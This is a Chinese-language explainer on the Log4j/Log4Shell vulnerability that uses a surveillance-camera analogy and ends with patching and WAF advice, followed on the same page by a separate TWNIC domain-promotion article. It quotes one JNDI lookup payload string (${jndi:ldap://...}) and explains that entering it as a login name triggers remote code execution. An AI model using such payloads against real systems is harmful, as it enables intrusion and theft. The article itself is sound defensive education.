從監視攝影機理解Log4j跟Log4Shell漏洞
從監視攝影機理解Log4j跟Log4Shell漏洞
2022.01.18 | 物聯網

2021年末資安界最大的新聞莫過於Log4j的漏洞,編號為CVE-2021-44228,又被稱為Log4Shell,甚至被一些人形容為「核彈級漏洞」,可見這個漏洞的影響程度之深遠。

關於技術上的分析已經有很多篇文章在講解了,但對於不懂技術的人來說,可能只知道這個漏洞很嚴重,卻不知道為什麼嚴重,也不知道原理到底是什麼,因此我想從讓非技術背景的人也能理解的角度出發,寫一篇比較白話的文章。

SURVEILLANCE CAMERA
圖/ shutterstock

從監視攝影機談起

我有個朋友叫小明,他家是開雜貨店的。就跟其他商店一樣,在店裡有一支監視攝影機,怕有什麼消費糾紛或是有人來搶劫或偷東西,因此讓攝影機24小時全程錄影,真的發生什麼事了,就會有證據留存下來。

但攝影機的鏡頭角度有限,不可能把整間店面的影像都拍下來,就算真的都拍下來了,要存的資料也會太多(除非小明很有錢,買了一堆攝影機)。因此,攝影機只會對準一些非常重要、值得記錄下來的地方,像是收銀台等等。

原本這支攝影機用了十幾年都沒什麼事情,畢竟不就是把影像記錄起來嗎,能有什麼事情?但最近卻突然有人發現一個攝影機的隱藏功能(嚴格來講不是隱藏功能,因為攝影機的說明書上其實有提到,可是大家都懶得看那一百多頁的說明書,所以很少人知道這個功能)

這個功能是什麼呢?那就是除了錄影以外,這台監視攝影機還有個智慧圖片辨識的功能,如果它看到特定的影像,會根據影像的內容去執行相對應的動作。舉例來說好了,這個圖片辨識功能需要把指令寫在100x100的板子上,一定要黑底白字加上特定格式,像這個樣子:

當攝影機看到上面的圖,符合特定格式,就執行了上面的指令:「關機」,就真的關機了!但關機還沒什麼,指令還可以寫說「把攝影機資料全都給我」之類的,再者,攝影機本來就會即時連線到其他伺服器,這個指令也可以對那些伺服器做操作,例如說把上面的資料全都偷下來等等。

總之呢,一旦讓攝影機拍到指定格式的東西,就會幫你執行指令。

這個功能被爆出來以後,血流成河,因為太多地方都有監視攝影機了,因此許多人都帶著這個板子去看看會不會觸發這個功能。攝影機有分型號,只有一台叫做log4j的攝影機會出事,其他不會,但要注意的事情是有些攝影機它雖然不叫做這名字,可其實是從log4j作為基底改出來的,就一樣會出事。

而有些東西儘管不是攝影機也會出事,例如說有台智慧冰箱,號稱內部有微型攝影機可以即時監控冰箱內部狀況,恰巧這個微型攝影機就是log4j這個型號的攝影機改版出來的,所以也有同樣的問題。

你想想看,如果監視攝影機出了這個問題,那全台灣、全世界這麼多人用這個型號的監視攝影機,當然會引起軒然大波,只要讓攝影機拍到特定的東西就會執行指令,這可嚴重了。

以上是對於log4j漏洞的簡單比喻,在這個故事中雜貨店就像是你的網站,而攝影機的功能就是拿來紀錄(log)對於網站的那些請求(request),整個故事只要記兩個重點就好:

  1. log4j是拿來記錄東西用的
  2. 漏洞原理是只要紀錄某些特定格式的文字,就會觸發一個功能可以執行程式碼

白話的簡易比喻到這邊先結束,想要更了解log4j,我們就必須先來看看什麼是log。

資訊安全 電腦
圖/ shutterstock

有關於log這件事

log的中文翻譯叫做日誌,我相信許多人對這個名詞並不陌生,如果你有跟工程師合作過,他在解決問題時可能會說:「我去看一下log」;或是如果你們跟合作廠商各執一詞,他說A你們說B,這時候就會說:「不然看一下log吧,看看是誰的問題」

當你跟公司的IT合作解決電腦上的小問題時,他也會跟你說要去某個地方複製log給他,他才知道發生了什麼事情。

log就像是一台24小時全年無休的監視攝影機一樣,需要記錄起重要事物的狀況。

那為什麼需要有log呢?這問題就像是「為什麼要有監視攝影機?」一樣,答案很簡單,因為出事的時候才有證據。就像行車記錄器一樣,裝了以後若不幸發生車禍,就可以協助判斷肇責。

舉個例子,假設我是A公司,我們公司是做購物網站的,而通常金流這一塊並不會自己做,而是會找其他做金流的廠商合作,在後端去「串接」金流服務商提供的功能,講白話一點就是:「當使用者要付款時,我把使用者導過去金流廠商的頁面,付款完再導回來我們網站」,相信有在網路上購物的大家應該很熟悉這個流程。

cash_flow_金流_商業_business
許多網路交易的金流系統並不是店家自己開發的,而是串接第三方的金流服務商,為了避免糾紛,過程需要追蹤、留下紀錄。
圖/ shutterstock

在這個過程中,雙方都必須留下紀錄,確保未來發生問題時有證據可以輔助說明。

例如說有天A公司突然接到一堆客訴說沒辦法付款,這時A公司直接打電話去金流商,罵說你們這什麼爛服務,怎麼突然壞掉,而金流商此時提供了伺服器的log,說:「沒有啊,我們這邊從今天早上八點開始就沒有你們導過來的紀錄了,應該是你們的問題吧?」,後來A公司檢查了自己這邊的服務,確實是因為今天早上的版本更新出了問題而導致,跟金流商一點關係都沒有。

這就是log的重要性,當出事的時候你才有證據可以盤查,才能盡可能還原當初的狀況。

做開發者的大家都知道log很重要,所以log基本上是必備的,以網站後端來說,他可能會在交易發生錯誤時留下一筆log,也有可能在發生非預期錯誤時寫下log,或是用log紀錄request中的一些欄位,比如說瀏覽器版本好了,給自己公司內部的數據分析系統來使用。

因此log是個十分常見的功能。這也是為什麼如果這個功能出事了,造成的後果會非常嚴重。

log4j是什麼?

在寫網站後端的程式碼時,會有不同的程式語言可以選擇,例如說Python、JavaScript、PHP或是Java等等,而這些程式語言都會有些專門做log的套件,簡單來說就是有人已經幫你把功能都寫好了,你只要用就好了。

而Java有一個很好用的log套件,就叫做log4j。而這個套件是隸屬於Apache軟體基金會底下,因此全名又叫做Apache Log4j。

Apache底下有很多不同的軟體跟套件,例如說:

Apache HTTP Server(大家最常看到的是這個)
Apache Cassandra
Apache Tomcat
Apache Hadoop
Apache Struts
...
所以Apache Server跟Apache log4j完全是不同的兩個東西,我知道你用Apache Server,跟你有沒有用log4j是兩件事情。

這次出問題的套件就是log4j,而出問題的原因跟我開頭講的一樣,有一個鮮為人知的功能有著安全性的漏洞,只要log4j在記錄log時記錄到某個特定格式的東西,就會去執行相對應的程式碼,就像開頭提的那個「關機」的板板一樣。

再講更詳細一點,其實並不是直接執行程式碼,那一段特定格式長得像這樣:${jndi:ldap://cymetrics.io/test}

先不要管那些你看不懂的字,你可以很明顯看到裡面有一段東西很像網址,對,它就是網址,當log4j紀錄上面那一串字的時候,它發現這串字符合特定格式,就會去裡面的網址(cymetrics.io/test)下載程式碼然後執行,因此這是一個RCE(Remote Code Execution,遠端程式碼執行)漏洞。

前面我有提過後端會記錄許多東西,假設今天有個後端服務是用Java寫的,而它用log4j記錄了使用者登入失敗時輸入的帳號,這時我只要用「${jndi:ldap://cymetrics.io/test}」這個帳號登入,就能夠觸發log4j的漏洞,讓它執行我準備好的程式碼。

只要能執行程式碼,我就可以做很多事情,例如說把伺服器上的資料偷走,或是安裝挖礦軟體幫我挖礦等等。

hacker
只要抓到log4j的這個漏洞,讓他執行程式碼,有心人士就能偷取他們想要的資料,造成嚴重的資安問題。
圖/ Pixabay

為什麼這個漏洞如此嚴重?

第一,log4j這個套件使用的人數極多,只要你有用Java,幾乎都會用這個套件來紀錄log。

第二,觸發方式容易,你只要在request的各個地方塞滿這些有問題的字串,server只要有記錄下來其中一個,就能夠觸發漏洞,而前面我們有提到紀錄log本來就是家常便飯的事情。

第三,能造成的影響極大,漏洞被觸發之後就是最嚴重的RCE,可以直接執行任意程式碼。

結合以上這三點,讓它成了一個核彈級的漏洞。到底有多嚴重,看看這些新聞標題就知道:

1.Apache Log4j 漏洞影響巨大,美國資安主管機關通令政府單位立即修復
2.微軟、蘋果都受波及!日誌框架Apache Log4j爆漏洞,堪稱近10年最大資安威脅
3.【Log4Shell漏洞資訊更新】Log4j 2.15.0修補不全、Apache再釋2.16.0新版,國家駭客已開始行動

還有一點差點忘了提,有許多其他的軟體也都用了log4j這個套件,因此也會有問題,國外有人整理出一份被影響的清單:Log4Shell log4j vulnerability (CVE-2021-44228 / CVE-2021-45046) - cheat-sheet reference guide,洋洋灑灑一大片,像是Minecraft這個遊戲的伺服器也有用到log4j,所以也被這個漏洞給影響。

該怎麼知道我有沒有被這個漏洞影響?

可以先確認自己家的程式有沒有用到log4j這個套件以及套件的版本,也需要一併檢查有沒有使用上面那張清單列出來的其他軟體。

如果你是工程師,也可以用一些現有的工具檢測是否受到漏洞影響,像是:log4j-scan或是jfrog提供的log4j-tools等等。

或如果真的不知道該如何處理,也可以聯絡我們,看我們可以怎樣幫助你。

該如何修補?

由瑞士CERT發表的這篇文章:Zero-Day Exploit Targeting Popular Java Library Log4j中,有給了一張從各個環節去防禦的圖:

如果來不及把根本原因修掉,可以先上WAF(Web Application Firewall),簡單來說就是針對網站的防火牆,把那些惡意的字串擋掉,例如說Cloudflare就在第一時間增加了WAF的規則加以阻擋,不過也有很多人在研究怎麼繞過WAF的規則,因此這是治標不治本的做法。

治本的方法就是把log4j停用或是升版,升級到不會被這個漏洞影響的版本,但有些時候第一時間的改版可能沒有把漏洞完全補掉,因此記得更新完以後還是要密切注意是否有更新的版本。例如說在這篇文章寫完後過沒多久,官方就釋出了第三個patch修復其他相關問題:Apache Issues 3rd Patch to Fix New High-Severity Log4j Vulnerability

結語

一個很多人用的套件,加上一個很常見的功能,再加上一個很簡單的攻擊方式以及嚴重的後果,就成了一個可以被載入史冊的漏洞。

文中有些比喻為了不要講得太細節,會是精簡過後的版本,不一定能完全涵蓋本來的漏洞,在轉換成故事比喻的過程中一定會有一些遺漏的部分,但對於整體的理解我覺得影響不大。

如果你想了解更技術的細節以及時間軸,很推薦這一支影片:Hackers vs. Developers // CVE-2021-44228 Log4Shell,裡面講得很清楚,也探討了開發者與資安從業人員的關係。

Hackers vs. Developers // CVE-2021-44228 Log4Shell

最後,希望這篇文章能讓不懂技術的大家更了解log4shell是怎樣的漏洞,以及這個漏洞為什麼如此嚴重。文中若有錯誤也請不吝留言指正,感謝。

本文由Huli授權轉載自其Cymetric Tech Blog

《數位時代》長期徵稿,針對時事科技議題,需要您的獨特觀點,歡迎各類專業人士來稿一起交流。投稿請寄edit@bnext.com.tw,文長至少800字,請附上個人100字內簡介,文章若採用將經編輯潤飾,如需改標會與您討論。

(觀點文章呈現多元意見,不代表《數位時代》的立場)

責任編輯:吳佩臻、侯品如

關鍵字: #資訊安全
往下滑看下一篇文章
社群帳號不是門牌!TWNIC籲中小企業註冊.tw域名,拒當「數位無殼蝸牛」
社群帳號不是門牌!TWNIC籲中小企業註冊.tw域名,拒當「數位無殼蝸牛」

在詐騙與帳號仿冒層出不窮的數位環境中,企業的「可信身分」正面臨前所未有的挑戰。根據台灣網路資訊中心(TWNIC)《2024 台灣網路報告》指出,近三個月內有 64.8% 的台灣民眾曾接觸詐騙訊息,其中 3.56% 實際受騙造成財損;警政署「165 打詐儀表板」統計亦顯示,2025 年詐騙財損金額已突破新台幣 706億元,其中多數案件是透過社群媒體與通訊平台進行。這些開放式平台雖然便利了即時互動,但匿名性與訊息傳播的速度,也讓詐騙訊息更容易偽裝成真實資訊,削弱了大眾對整體線上溝通環境的信任。

這樣的風險並不僅限於個人使用者。TWNIC執行長余若凡指出,當企業選擇以社群平台作為主要對外窗口時,也會受到同樣的信任影響。一旦消費者對平台環境產生疑慮,即使企業本身並無不當行為,品牌的可信度仍可能受到波及。若再發生帳號被駭、被仿冒或遭停權的情況,顧客更難以分辨官方與假冒來源,企業多年累積的信任與流量可能在短時間內流失。

中小企業網站現況:有門面卻留不住客人

台灣網商協會秘書長林原也指出,多數中小企業雖已踏入數位轉型,但網站建置往往只是「靜態海報型」,缺乏會員、金流或互動功能。他以形象比喻提到,域名是門牌、虛擬主機是房子、網站內容是軟裝。沒有門牌,就像住在別人的房子,隨時可能被趕走;有了門牌與房子,才有可能好好布置與經營。他強調,若企業長期依賴社群與電商平台,就等於在替平台打工,不僅需承受高額抽成,也受限於演算法與帳號規則,一旦被封鎖或降觸及,就會發現自己什麼都沒有留下。

台灣網商協會秘書長林原
台灣網商協會秘書長林原
圖/ 數位時代

他進一步提醒,企業若僅依賴社群與電商平台,等於長期在替平台打工。平台不僅抽成高,還掌握演算法規則與顧客數據,企業一旦被降觸及或封鎖帳號,就會發現自己其實什麼都沒有留下。這樣的結構,讓許多中小企業在數位時代仍然難以累積自有數據,更無法建立長期品牌資產。「我們常看到企業抱怨平台廣告費高漲、成效卻逐年下降,但卻忽略了最基礎的一件事:沒有自己的域名,等於沒有真正的數位身分。」林原直言,中小企業要邁向數位獨立,第一步就是註冊屬於自己的專屬域名。

拒當數位無殼蝸牛,從.tw開始

為協助中小企業從根本建立「可信身分」,TWNIC作為國家級網路資訊中心,不僅負責 .tw 與 .台灣 頂級域名的管理,也肩負推動台灣整體數位信任生態的責任。TWNIC從三個面向推動相關工作:

  • 政策面 :持續優化域名註冊流程與推廣政策,降低中小企業導入門檻;
  • 教育面 :辦理講座與工作坊,提升企業主對於數位域名資產管理與資安防護的認識;
  • 合作面 :與受理註冊機構及產業夥伴合作,協助企業從註冊、建站到驗證,建立完整的一站式服務。

在具體措施上,TWNIC近期推出「52168.tw」專案,針對 112 年 1 月 1 日後完成登記的公司行號,提供一年期免費域名申請優惠,鼓勵企業註冊專屬域名、打造獨立品牌門面。同時,也推行「綠色域名認證」制度,企業通過註冊人身份驗證後,其 WHOIS 資料將標示「已通過.tw綠色域名認證」,象徵資訊真實、完整且可信,猶如掛上一面值得信賴的門牌。此外,TWNIC亦提供 Registry Lock 與 DNSSEC 等安全機制,協助企業以低成本強化資安防護與品牌保護,逐步建立穩固的數位基礎。

52168活動網站
圖/ 52168活動網站

余若凡強調,唯有當企業擁有唯一、可驗證的數位門牌,台灣整體的數位信任基礎才能真正穩固。特別是在生成式 AI 與跨平台資訊流高度重疊的時代,企業若要在搜尋與推薦機制中被正確辨識,擁有清楚的官方域名將是最基本的條件。域名不僅是連結網站的網址,更是品牌在數位空間中的憑證與信任標識。

同時余若凡也呼籲,中小企業不應將品牌的未來寄託於他人平台,而應主動建立自有域名與網站。這不只是為品牌架起一道防線,更是為台灣的網路生態奠定可信任的基礎,讓每一次點擊都能源於信任。

登入數位時代會員

開啟專屬自己的主題內容,

每日推播重點文章

閱讀會員專屬文章

請先登入數位時代會員

看更多獨享內容

請先登入數位時代會員

開啟收藏文章功能,

請先登入數位時代會員

開啟訂閱文章分類功能,

請先登入數位時代會員

我還不是會員, 註冊去!
追蹤我們
一次搞懂Vibe Coding
© 2025 Business Next Media Corp. All Rights Reserved. 本網站內容未經允許,不得轉載。
106 台北市大安區光復南路102號9樓